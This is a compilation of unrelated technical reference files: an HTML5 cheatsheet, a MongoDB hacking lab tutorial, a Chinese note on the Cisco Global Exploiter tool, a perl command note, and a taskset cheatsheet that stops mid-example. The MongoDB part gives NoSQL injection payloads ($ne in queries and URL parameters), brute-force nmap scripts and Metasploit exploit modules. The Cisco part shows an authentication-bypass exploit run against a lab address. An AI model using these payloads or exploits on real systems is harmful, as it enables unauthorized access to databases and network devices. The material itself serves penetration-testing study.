``` #### External stylesheet ```html <head> ... <link rel="stylesheet" href="style.css"/> </head> ``` HTML5 Tags ------------- ### Document ```html <body> <header> <nav>...</nav> </header> <main> <h1>QuickRef.ME</h1> </main> <footer> <p>©2023 QuickRef.ME</p> </footer> </body> ``` ### Header Navigation ```html <header> <nav> <ul> <li><a href="#">Edit Page</a></li> <li><a href="#">Twitter</a></li> <li><a href="#">Facebook</a></li> </ul> </nav> </header> ``` ### HTML5 Tags {.row-span-4} | | | |------------------------------------------------------------------------------------|----------------------------------------| | [article](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article) | Content that’s independent | | [aside](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/aside) | Secondary content | | [audio](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio) | Embeds a sound, or an audio stream | | [bdi](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/bdi) | The Bidirectional Isolate element | | [canvas](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas) | Draw graphics via JavaScript | | [data](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/data) | Machine readable content | | [datalist](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist) | A set of pre-defined options | | [details](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) | Additional information | | [dialog](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog) | A dialog box or sub-window | | [embed](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) | Embeds external application | | [figcaption](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figcaption) | A caption or legend for a figure | | [figure](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figure) | A figure illustrated | | [footer](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer) | Footer or least important | | [header](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header) | Masthead or important information | | [main](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/main) | The main content of the document | | [mark](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/mark) | Text highlighted | | [meter](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter) | A scalar value within a known range | | [nav](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/nav) | A section of navigation links | | [output](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/output) | The result of a calculation | | [picture](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/picture) | A container for multiple image sources | | [progress](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/progress) | The completion progress of a task | | [rp](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rp) | Provides fall-back parenthesis | | [rt](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rt) | Defines the pronunciation of character | | [ruby](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ruby) | Represents a ruby annotation | | [section](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/section) | A group in a series of related content | | [source](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/source) | Resources for the media elements | | [summary](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary) | A summary for the \<details> element | | [template](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template) | Defines the fragments of HTML | | [time](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/time) | A time or date | | [track](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track) | Text tracks for the media elements | | [video](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video) | Embeds video | | [wbr](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/wbr) | A line break opportunity | ### HTML5 Video ```html {.wrap} <video controls="" width="100%"> <source src="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.mp4" type="video/mp4"> Sorry, your browser doesn't support embedded videos. </video> ``` #### ↓ Preview <video controls="" width="100%"> <source src="https://interactive-examples.mdn.mozilla.net/media/cc0-videos/flower.mp4" type="video/mp4"> Sorry, your browser doesn't support embedded videos. </video> ### HTML5 Audio ```html {.wrap} <audio controls src="https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3"> Your browser does not support the audio element. </audio> ``` #### ↓ Preview <audio controls class="w-full" src="https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3"> Your browser does not support the audio element. </audio> ### HTML5 Ruby ```html {.wrap} <ruby> 汉 <rp>(</rp><rt>hàn</rt><rp>)</rp> 字 <rp>(</rp><rt>zì</rt><rp>)</rp> </ruby> ``` #### ↓ Preview <ruby class="mt-4 text-center text-5xl"> 汉 <rp>(</rp><rt>hàn</rt><rp>)</rp> 字 <rp>(</rp><rt>zì</rt><rp>)</rp> </ruby> ### HTML5 kdi ```html <ul> <li>User <bdi>hrefs</bdi>: 60 points</li> <li>User <bdi>jdoe</bdi>: 80 points</li> <li>User <bdi>إيان</bdi>: 90 points</li> </ul> ``` #### ↓ Preview <ul> <li>User <bdi>hrefs</bdi>: 60 points</li> <li>User <bdi>jdoe</bdi>: 80 points</li> <li>User <bdi>إيان</bdi>: 90 points</li> </ul> ### HTML5 progress ```html <progress value="50" max="100"></progress> ``` <progress value="50" max="100" class="w-full"></progress> ### HTML5 mark ```html <p>I Love <mark>QuickRef.ME</mark></p> ``` <p>I Love <mark>QuickRef.ME</mark></p> HTML Tables -------------- ### Table Example {.row-span-2} ```html <table> <thead> <tr> <td>name</td> <td>age</td> </tr> </thead> <tbody> <tr> <td>Roberta</td> <td>39</td> </tr> <tr> <td>Oliver</td> <td>25</td> </tr> </tbody> </table> ``` ### HTML Table Tags {.row-span-2} | Tag | Description | |-----------------------------------------------------------------------------------|----------------------------------| | [\<table>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table) | Defines a table | | [\<th>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th) | Defines a header cell in a table | | [\<tr>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tr) | Defines a row in a table | | [\<td>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td) | Defines a cell in a table | | [\<caption>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/caption) | Defines a table caption | | [\<colgroup>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/colgroup) | Defines a group of columns | | [\<col>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/col) | Defines a column within a table | | [\<thead>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/thead) | Groups the header content | | [\<tbody>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tbody) | Groups the body content | | [\<tfoot>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tfoot) | Groups the footer content | ### \<td> Attributes | Attribute | Description | |-----------|-----------------------------------------------| | `colspan` | Number of columns a cell should span | | `headers` | One or more header cells a cell is related to | | `rowspan` | Number of rows a cell should span | See: [td\#Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td#attributes) ### \<th> Attributes | Attribute | Description | |----------------------------------------------------------------------------------|-----------------------------------------------| | `colspan` | Number of columns a cell should span | | `headers` | One or more header cells a cell is related to | | `rowspan` | Number of rows a cell should span | | `abbr` | Description of the cell's content | | [scope](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th#attr-scope) | The header element relates to | See: [th\#Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th#attributes) HTML Lists -------------- ### Unordered list ```html <ul> <li>I'm an item</li> <li>I'm another item</li> <li>I'm another item</li> </ul> ``` See: [The Unordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ul) ### Ordered list ```html <ol> <li>I'm the first item</li> <li>I'm the second item</li> <li>I'm the third item</li> </ol> ``` See: [The Ordered List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ol) ### Definition list ```html <dl> <dt>A Term</dt> <dd>Definition of a term</dd> <dt>Another Term</dt> <dd>Definition of another term</dd> </dl> ``` See: [The Description List element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dl) HTML Forms ----------- ### Form tags {.row-span-2} ```html <form method="POST" action="api/login"> <label for="mail">Email: </label> <input type="email" id="mail" name="mail"> <br/> <label for="pw">Password: </label> <input type="password" id="pw" name="pw"> <br/> <input type="submit" value="Login"> <br/> <input type="checkbox" id="ck" name="ck"> <label for="ck">Remember me</label> </form> ``` #### ↓ Preview <form method="POST" action="api/login" style="padding: 20px;"> <label for="email">Email: </label> <input type="email" id="email" name="email" class="border border-slate-400 mt-2"> <br/> <label for="pwd">Password: </label> <input type="password" id="pwd" name="pwd" class="border border-slate-400 mt-2"> <br/> <input type="submit" value="Login" class="mt-2"> <br/> <input type="checkbox" id="ck" name="ck" class="mt-2"> <label for="ck">Remember me</label> </form> The HTML `<form>` element is used to collect and send information to an external source. ### Form Attribute | Attribute | Description | |------------|-----------------------------------------------------------------------------------------------------| | `name` | Name of form for scripting | | `action` | URL of form script | | `method` | HTTP method, `POST` / `GET` _(default)_ | | `enctype` | Media type, See [enctype](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/enctype) | | `onsubmit` | Runs when the form was submit | | `onreset` | Runs when the form was reset | ### Label tags ```html <!-- Nested label --> <label>Click me <input type="text" id="user" name="name"/> </label> ``` --- ```html <!-- 'for' attribute --> <label for="user">Click me</label> <input id="user" type="text" name="name"/> ``` `for` in a label references an input's `id` attribute ### Input tags ```html <label for="Name">Name:</label> <input type="text" name="Name" id=""> ``` #### ↓ Preview <form style="padding: 20px;"> <label for="username">Username:</label> <input type="text" name="username" id="username" class="border border-slate-400"> </form> See: [HTML input Tags](/html#html-input-tags) ### Textarea tags ```html {.wrap} <textarea rows="2" cols="30" name="address" id="address"></textarea> ``` #### ↓ Preview <form style="padding: 20px;"> <textarea rows="2" cols="30" name="address" id="address" class="border border-slate-400"style="width: 100%"></textarea> </form> Textarea is a multiple-line text input control ### Radio Buttons ```html <input type="radio" name="gender" id="m"> <label for="m">Male</label> <input type="radio" name="gender" id="f"> <label for="f">Female</label> ``` #### ↓ Preview <form style="padding: 20px;"> <input type="radio" name="gender" id="m"> <label for="m">Male</label> <input type="radio" name="gender" id="f"> <label for="f">Female</label> </form> Radio buttons are used to let the user select exactly one ### Checkboxes ```html <input type="checkbox" name="s" id="soc"> <label for="soc">Soccer</label> <input type="checkbox" name="s" id="bas"> <label for="bas">Baseball</label> ``` #### ↓ Preview <form style="padding: 20px;"> <input type="checkbox" name="sports" id="soccer"> <label for="soccer">Soccer</label> <input type="checkbox" name="sports" id="baseball"> <label for="baseball">Baseball</label> </form> Checkboxes allows the user to select one or more ### Select tags ```html <label for="city">City:</label> <select name="city" id="city"> <option value="1">Sydney</option> <option value="2">Melbourne</option> <option value="3">Cromwell</option> </select> ``` #### ↓ Preview <form style="padding: 20px"> <label for="city">City:</label> <select name="city" id="city" class="border border-slate-400"> <option value="1">Sydney</option> <option value="2">Melbourne</option> <option value="3">Cromwell</option> </select> </form> A select box is a dropdown list of options ### Fieldset tags ```html <fieldset> <legend>Your favorite monster</legend> <input type="radio" id="kra" name="m"> <label for="kraken">Kraken</label><br/> <input type="radio" id="sas" name="m"> <label for="sas">Sasquatch</label> </fieldset> ``` #### ↓ Preview <form style="padding: 20px"> <fieldset class="border border-slate-400" style="padding: 20px"> <legend>Your favorite monster</legend> <input type="radio" id="kra" name="monster"> <label for="kra">Kraken</label><br/> <input type="radio" id="sas" name="monster"> <label for="sas">Sasquatch</label> </fieldset> </form> ### Datalist tags(HTML5) ```html <label for="b">Choose a browser: </label> <input list="list" id="b" name="browser"/> <datalist id="list"> <option value="Chrome"> <option value="Firefox"> <option value="Internet Explorer"> <option value="Opera"> <option value="Safari"> <option value="Microsoft Edge"> </datalist> ``` #### ↓ Preview <form style="padding: 20px"> <label for="myBrowser">Choose a browser:</label> <input list="browsers" id="myBrowser" name="myBrowser" class="border border-slate-400"/> <datalist id="browsers"> <option value="Chrome"> <option value="Firefox"> <option value="Internet Explorer"> <option value="Opera"> <option value="Safari"> <option value="Microsoft Edge"> </datalist> </form> ### Submit and Reset Buttons ```html <form action="register.php" method="post"> <label for="foo">Name:</label> <input type="text" name="name" id="foo"> <input type="submit" value="Submit"> <input type="reset" value="Reset"> </form> ``` #### ↓ Preview <form action="register.php" method="post" style="padding: 20px"> <label for="name">Name:</label> <input type="text" name="name" id="name" class="border border-slate-400"> <input type="submit" value="Submit"> <input type="reset" value="Reset"> </form> `Submit` the data to server; `Reset` to default values HTML input Tags {.cols-2} ----------- ### Input Attributes {.row-span-2} The input tag is an empty element, identifying the particular type of field information to obtain from a user. ```html {.wrap} <input type="text" name="?" value="?" minlength="6" required /> ``` ---- | - | | | |---|-------------------------|-------------------------------------------------------------------------------------------------------------------------------| | | `type="…"` | The type of data that is being input | | | `value="…"` | Default value | | | `name="…"` | Used to describe this data in the HTTP request | | | `id="…"` | Unique identifier that other HTML elements | | | `readonly` | Stops the user from modifying | | | `disabled` | Stops any interaction | | | `checked` | The radio or checkbox select or not | | | `required` | Being compulsory, See [required](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/required#example) | | | `placeholder="…"` | Adds a temporary, See [::placeholder](https://developer.mozilla.org/en-US/docs/Web/CSS/::placeholder#examples) | | | `autocomplete="off"` | Disable auto completion | | | `autocapitalize="none"` | Disable auto capitalization | | | `inputmode="…"` | Display a specific keyboard, See [inputmode](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode) | | | `list="…"` | The id of an associated [datalist](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/datalist) | | | `maxlength="…"` | Maximum number of characters | | | `minlength="…"` | Minimum number of characters | | | `min="…"` | Minimum numerical value on range & number | | | `max="…"` | Maximum numerical value on range & number | | | `step="…"` | How the number will increment in range & number | | | `pattern="…"` | Specifies a [Regular expression](/regex), See [pattern](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/pattern) | | | `autofocus` | Be focused | | | `spellcheck` | Perform spell checking | | | `multiple` | Whether to allow [multiple](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/multiple) values | | | `accept=""` | Expected file type in [file](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/file) upload controls | {.left-text} Also see: [Attributes for the \<input> element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attributes) ### Input types | | | |-------------------|------------------------------------------------------------------------------------------------------------------------------------------| | `type="checkbox"` | <input type="checkbox" class="border border-slate-400"> | | `type="radio"` | <input type="radio" class="border border-slate-400"> | | `type="file"` | <input type="file" class="border border-slate-400"> | | `type="hidden"` | <input type="hidden" class="border border-slate-400"> | | `type="text"` | <input type="text" class="border border-slate-400"> | | `type="password"` | <input type="password" class="border border-slate-400"> | | `type="image"` | <input type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" width="70"> | | `type="reset"` | <input type="reset" class="border border-slate-400"> | | `type="button"` | <input type="button" class="border border-slate-400">Button</input> | | `type="submit"` | <input type="submit" class="border border-slate-400"> | #### New Input Types in HTML5 | | | |-------------------------|---------------------------------------------------------------------| | `type="color"` | <input type="color" value="#0FB881" class="border border-slate-400"> | | `type="date"` | <input type="date" class="border border-slate-400"> | | `type="time"` | <input type="time" class="border border-slate-400"> | | `type="month"` | <input type="month" class="border border-slate-400"> | | `type="datetime-local"` | <input type="datetime-local" class="border border-slate-400"> | | `type="week"` | <input type="week" class="border border-slate-400"> | | `type="email"` | <input type="email" class="border border-slate-400"> | | `type="tel"` | <input type="tel" class="border border-slate-400"> | | `type="url"` | <input type="url" class="border border-slate-400"> | | `type="number"` | <input type="number" class="border border-slate-400"> | | `type="search"` | <input type="search" class="border border-slate-400"> | | `type="range"` | <input type="range" class="border border-slate-400"> | ### Input CSS selectors | | | |---------------|---------------------------| | `input:focus` | When its keyboard focused | See: [Input pseudo classes](/css#input-pseudo-classes) HTML meta Tags {.cols-2} ----------- ### Meta tags {.row-span-3} The meta tag describes meta data within an HTML document. It explains additional material about the HTML. ```html <meta charset="utf-8"> ``` ```html <!-- title --> <title>···</title> <meta property="og:title" content="···"> <meta name="twitter:title" content="···"> ``` --- ```html <!-- url --> <link rel="canonical" href="https://···"> <meta property="og:url" content="https://···"> <meta name="twitter:url" content="https://···"> ``` --- ```html <!-- description --> <meta name="description" content="···"> <meta property="og:description" content="···"> <meta name="twitter:description" content="···"> ``` --- ```html <!-- image --> <meta property="og:image" content="https://···"> <meta name="twitter:image" content="https://···"> ``` --- ```html <!-- ua --> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ``` --- ```html <!-- viewport --> <meta name="viewport" content="width=device-width"> <meta name="viewport" content="width=1024"> ``` ### Open Graph ```html <meta property="og:type" content="website"> <meta property="og:locale" content="en_CA"> <meta property="og:title" content="HTML cheatsheet"> <meta property="og:url" content="https://quickref.me/html"> <meta property="og:image" content="https://xxx.com/image.jpg"> <meta property="og:site_name" content="Name of your website"> <meta property="og:description" content="Description of this page"> ``` Used by Facebook, Instagram, Pinterest, LinkedIn, etc. ### Twitter Cards ```html <meta name="twitter:card" content="summary"> <meta name="twitter:site" content="@FechinLi"> <meta name="twitter:title" content="HTML cheatsheet"> <meta name="twitter:url" content="https://quickref.me/html"> <meta name="twitter:description" content="Description of this page"> <meta name="twitter:image" content="https://xxx.com/image.jpg"> ``` See: [Twitter Card Documentation](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/summary) ### Geotagging ```html <meta name="ICBM" content="45.416667,-75.7"> <meta name="geo.position" content="45.416667;-75.7"> <meta name="geo.region" content="ca-on"> <meta name="geo.placename" content="Ottawa"> ``` See: [Geotagging](https://en.wikipedia.org/wiki/Geotagging#HTML_pages) Also see -------- - [HTML 4.01 Specification](https://www.w3.org/TR/REC-html40/cover.html#minitoc) _(w3.org)_
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- #Mongodb Hacking# ``` 1. Introduction and Lab Setup. 1.1 What is MongoDB ? 1.2 How about Security ? 1.3 Installing MongoDB in Kali 1.4 Playing with Mongo Shell 1.4.1 Creating a database 1.4.2 Checking current database 1.4.3 Checking the list of databases 1.4.4 Inserting data into collections 1.4.5 Querying a document 1.4.6 Writing Conditions while querying data 1.4.7 Deleting Documents 1.4.8 Dropping a collection 1.4.9 Dropping a database 1.5 Lab Setup 2. Vulnerability Assessment 2.1 Introduction 2.2 Scanning for open ports 2.3 Service enumeration 2.4 Scanning for http-interface 2.5 Accessing HTTP Interface 2.6 Scanning with nmap NSE scripts 2.7 mongodb-brute 2.8 mongodb-databases 2.9 Metasploit Auxiliary Module 2.10 Exploitation 3. Attacking Applications 3.1 Introduction 4. Automated Assessments 4.1 Getting NoSQLMap ready 4.2 NoSQL DB Access Attacks 4.3 Scanning for anonymous MongoDB access 4.4 NoSQL Injection using NoSQLMao ``` ---- ##Introduction and Lab Setup## ###What is Mongodb?### MongoDB is an open source schema less document oriented database system developed using C++. MongoDB is one of the leading NoSQL database solutions. In MongoDB, data is stored in the form of JSON style document. Some of the major features of MongoDB: - Document Based - High performance - HIgh Availability - Easy Scalability - No Complex Joins ###How about Security?### With the growing use of NoSQL databases, security should be considered seriously. Just like any other system, the security of MongoDB is not a single-handed job. Everyone in the ecosystem is responsible for it. Even through MongoDB comes with some inbuilt security features, it is possible to have vulnerabilities in the production due to various reasons such as misconfigurations, no updates, poor programming etc. ###Installing MongoDB in Kali### Run the sudo apt-get update command. This command downloads the package lists from the repositories and updates them to get information on the newest version of the packages and their dependencies. This step may take some time and provides a large output on the screen, so the output is truncated. ``` root:~ /# apt-get install mongodb ``` Create a directory "/data/db" under root folder. Make sure that "/data/db" is dieectly under the "/" root directory, we need to create this directory as root. ``` root:~ /# mkdir -p /data/db ``` Once we have completed the previous steps, we can start a MongoDB instance with the following command: ``` root:~ /# service mongodb start ``` This will start the MongoDB instance with the default features. After lanuching the MongoDB instance, we cross check to see if it is up and running by locking at the console messages. If we see the message below in the console, it is running fine. ``` root:~ /# service mongodb status [ ok ] Checking status of database: mongodb running. ``` Note: As mentioned earlier, MongoDB by default runs with limited features. For peneration testing lab purposes, use the following steps to start the MongoDB instance. Launch MongoDB with the following command ``` root:~ /# mongod -httpinterface -reset -smallfiles ``` run the following command to connect to the mongod server, which is started already. ``` root:~ /# mongo MongoDB shell version: 2.0.6 connecting to: test > ``` Note: if you get any erros, please solve the problem yourself, and everything should work fine. ---- ###Playing with Mongo Shell### In the previous sections, we have seen a brief introduction to MongoDB and its setup. It's time to play with the shell and execute few commands on the MongoDB to get better accquainted with MongoDB and its working. MongoDB uses Javascript style queries and thus we feel like running Javascript code most of the time. Though we don't discuss all the commands associated with MongoDB, this section gives a brief idea of how MongoDB works. Before we proceed, there are few terms to understand. - MongoDB holds "databases" - Each database contains one or more "collections". - Each collection holds one or more "documents:. Now, let's proceed to run the MongoDB commands ####Creating a database#### The following command will create a new database if doesn't exist. If the database already exists, it uses it. Let's create a database with the name "testdb". ``` > show dbs customers (empty) local (empty) sample 0.0625GB shop (empty) test (empty) > use sample switched to db sample ``` ####Checking current database#### We can use the command "db" to check the current database. Let;s run the command "db" to check the current database. ``` > db sample ``` ####Checking the list of databases#### "show dbs" is the command to list the databases available. ``` > show dbs customers (empty) local (empty) sample 0.0625GB shop (empty) test (empty) ``` If you notice the above output, it didn't list the database we just created. The reason is that it requires at least one document inside it. ####Inserting data into collections#### If we insert one or more documents inside it, we can see the database listed. ``` > db.demo.insert({"username":"superman"}) > db.demo.insert({"username":"spiderman"}) > db.demo.insert({"username":"flashman"}) ``` By default, we don't need to explicitly create collections in a database (We can do so if we want). We can directly use a non-existent collection name to insert data. MongoDB will automaticallly create it. If we now list databases, we can see our current databases. ``` > show collections demo products system.indexes users ``` ####Querying a document#### In order to query data from a MongoDB collection, we can use find() method as shown below. ``` > db.demo.find() { "_id" : ObjectId("55d69dda4b497930a32f3444"), "username" : "superman" } { "_id" : ObjectId("55d69de14b497930a32f3445"), "username" : "spiderman" } { "_id" : ObjectId("55d69de64b497930a32f3446"), "username" : "flashman" } ``` ####Writing Conditions while querying data#### We can also write conditions on queries similar to RDBMS conditions with MongoDB specfic syntax. Currently, my collection has two documents. ``` > db.demo.find() { "_id" : ObjectId("55d69dda4b497930a32f3444"), "username" : "superman" } { "_id" : ObjectId("55d69de14b497930a32f3445"), "username" : "spiderman" } { "_id" : ObjectId("55d69de64b497930a32f3446"), "username" : "flashman" } ``` If I want to retrieve only one document based on matching a specific username, we can do it as shown below. ``` > db.demo.find({"username":"spiderman"}) { "_id" : ObjectId("55d69de14b497930a32f3445"), "username" : "spiderman" } ``` ####Deleting Documents#### We can use remove() method to delete documents from a collection based on a specific condition. ``` > db.demo.remove({"username": "flashman"}) > db.demo.find() { "_id" : ObjectId("55d69dda4b497930a32f3444"), "username" : "superman" } { "_id" : ObjectId("55d69de14b497930a32f3445"), "username" : "spiderman" } ``` The above query removes the document where the key "username" has the value "flashman". ####Dropping a collection#### We can drop a collection as shown below. ``` > db.demo.drop() true ``` ####Droppong a database#### We can drpo a database as shown below. ``` > db.dropDatabase() { "dropped" : "sample", "ok" : 1 } ``` The above command has dropped the database 'sample' that we created. This is how we can run commands on MongoDB using a mongo shell. The idea behind showing these commands is not to make you a MongoDB master, but to give a basic idea of how MongoDB functions if you are an absolute beginner. ---- ###Lab Setup### We need to have the following setup to follow the practical demonstrations shown in this book. ``` ---------------- | | | Kali | | | | [MongoDB] | | | ---------------- ``` As we can see in the above figure, we need to install Kali Linux. Make sure that you have "Host Only Adapter" under adapter 1 of your network settings for both the machines as shown below. Note: We will also setup a PHP Web Application later in this section. So, please use the same names as I am using to create database and collections. It is required for the PHP Web application to work. If you change these names, you may need to change the PHP web application accordingly. ####Create a new database#### Get the mongo shell and create a new database called "sample" by running the following command in the mongo shell. ``` > use sample switched to db sample ``` This command will switch the user to the database "sample" if it already exists. If the database doesn't exist, it will create a new one. ####Insert data#### Run the following command in mongo shell in order to insert test data into the collection "users". ``` > db.users.insert({"username": "tom", "password": "tom", "email": "tom@gmail.com", "cardnumber": 12345}) > db.users.insert({"username": "jim", "password": "jim", "email": "jim@gmail.com", "cardnumber": 54321}) > db.users.insert({"username": "bob", "password": "bob", "email": "bob@gmail.com", "cardnumber": 22222}) ``` Similarly execute the following commands ``` > db.products.insert({"email": "tom@gmail.com", "prodname": "laptop", "price": "1500USC"}) > db.products.insert({"email": "jim@gmail.com", "prodname": "book", "price": "50USC"}) > db.products.insert({"email": "bob@gmail.com", "prodname": "diamondring", "price": "4500USC"}) ``` ####Installing the PHP driver for mongo#### In order for the PHP web application to work with MongoDB, we need to install the PHP driver. ``` sudo apt-get install php-pear php5-dev sudo pecl install mongo ``` ####Installing PHP Web application#### Once after done with the installation of PHP driver, we need to install the PHP web application. Download the PHP code from HERE. This files is named as mongo.zip and looks as shown below. ---- ##Vulnerability Assessment## ``` nmap -p 27017 <ipaddress> nmap -p 27017 -sV <ipaddress> nmap -p 27017 --script mongodb-brute <ipadress> nmap -p 27017 --script mongodb-databases <ipaddress> msf > use auxiliary/scanner/mongodb/mongodb_login msf > use auxiliary/gather/mongodb_js_inject_collection_enum msf > use exploit/linux/misc/mongod_native_helper nmap -p 28017 <ipaddress> nmap -p 28017 -sV <ipaddress> http://<ipaddress>:28017/ ``` ---- ##Attacking Applications## ``` > db.users.find({"username":"jim", "password": {$ne: "0x00"}}) { "_id" : ObjectId("55d5d719d60515e316247247"), "username" : "jim", "password" : "jim", "email" : "jim@gmail.com", "cardnumber" : 54321 } ``` If you notice, the above MongoDB command is fetching all the documents where the username is "jim" and password not equals to "0x00". ``` > db.users.find({"username": {$ne: "0x00"}, "password": {$ne: "0x00"}}) { "_id" : ObjectId("55d5d6f2d60515e316247246"), "username" : "tom", "password" : "tom", "email" : "tom@gmail.com", "cardnumber" : 12345 } { "_id" : ObjectId("55d5d719d60515e316247247"), "username" : "jim", "password" : "jim", "email" : "jim@gmail.com", "cardnumber" : 54321 } { "_id" : ObjectId("55d5d739d60515e316247248"), "username" : "bob", "password" : "bob", "email" : "bob@gmail.com", "cardnumber" : 22222 } ``` This time, we are able to see all the documents that do not meet the condition username and password as "jim". ``` http://localhost/index.php?username[$ne]=test&password[$ne]=test ``` ---- ##Automated Assessments## We are going to use a very nice tool called NoSQLMap for this part. http://github.com/tcstool/nosqlmap
sec-knowleage
# cisco-global-exploiter介绍 Cisco Global Exploiter (CGE), 一个高级、简单和快速的安全测试工具。 [cisco-global-exploiter主页](http://www.blackangels.it/) | [Kali cisco-global-exploiter地址](http://git.kali.org/gitweb/?p=packages/cisco-global-exploiter.git;a=summary) 作者: Nemesis, E4m 协议: GPLv2 # cisco-global-exploiter拥有的工具 cge.pl – Simple and fast security testing tool >root@kali:~# cge.pl > >Usage : > >perl cge.pl <target> <vulnerability number> > >Vulnerabilities list > >[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability > >[2] - Cisco IOS Router Denial of Service Vulnerability > >[3] - Cisco IOS HTTP Auth Vulnerability > >[4] - Cisco IOS HTTP Configuration Arbitrary > >Administrative Access Vulnerability > >[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability > >[6] - Cisco 675 Web Administration Denial of Service Vulnerability > >[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability > >[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability > >[9] - Cisco 514 UDP Flood Denial of Service Vulnerability > >[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability > >[11] - Cisco Catalyst Memory Leak Vulnerability > >[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability > >[13] - 0 Encoding IDS Bypass Vulnerability (UTF) > >[14] - Cisco IOS HTTP Denial of Service Vulnerability # cisco-global-exploiter使用范例 使用思科IOS HTTP验证漏洞(3)攻击目标机器(192.168.99.230): >root@kali:~# cge.pl 192.168.99.230 3 > >Vulnerability successful exploited with [http://192.168.99.230/level/17/exec/....] ...
sec-knowleage
perl === perl语言解释器 ## 补充说明 **perl命令** 是perl语言解释器,负责解释执行perl语言程序。 ### 语法 ```shell perl(选项)(参数) ``` ### 选项 ```shell -w:输出有用的警告信息; -U:允许不安全的操作; -c:仅检查文件的语法; -d:在调试下运行脚本程序。 ``` ### 参数 文件:要运行的perl脚本程序。
sec-knowleage
--- title: Taskset date: 2023-04-07 14:25:44 background: bg-[#8bbb55] tags: - process - process manager categories: - Linux Command intro: The taskset command is used to set or retrieve the CPU affinity of a running process given its pid, or to launch a new command with a given CPU affinity. plugins: - copyCode --- Getting Started {.cols-3} -------- ### Usage The default behavior is to run a new command with a given affinity mask ```shell $ taskset [mask] [command] [arguments] ``` #### Usage #2 ```shell $ taskset -p [pid] ``` --------- ```shell $ taskset -p [mask] [pid] ``` You can also retrieve the CPU affinity of an existing task ### Common Options {.col-span-2} | Command | Alternavite | Meaning | |---------|--------------|----------------------------------------------------------------------------------------------------------------------------------------------------------| | `-a` | --all-tasks | Set or retrieve the CPU affinity of all the task (threads) for a given PID. | | `-c` | --cpu-list | Interpret mask as numerical list of processors instead of a bitmask.</br>Numbers are separated by commas and may include ranges. For example: `0,5,8-11` | | `-p` | --pid | Operate on an existing PID and do not launch a new task. | | `-h` | --help | Display help text and exit. | | `-v` | --version | Print version and exit. | {.show-header} Example -------- ### View CPU Affinity ```shell $ taskset -cp 29523 pid 29523's current affinity list: 0-15 ``` That mean process with PID `29523` is active on CPU range from `[0,1,...,15]` which means `16` total. **PID**: Process Identifier - is a unique numerical identifier given to each running process, you can view PID of processes in `top` or `htop` tools _If you run the above command but get the message `bad usage`, try with PID = 1_ ```shell $ taskset -cp 1 ``` ### Set CPU Affinity Now let's try to set process in to a specify CPU. For example, we have a process has PID = 14846 Let's see the CPU affinity list of this process first: ```shell $ taskset -cp 14846 pid 14846's current affinity list: 0-15 ``` #### Change CPU affinity to 1: ```shell $ taskset -cp 1 14846 pid 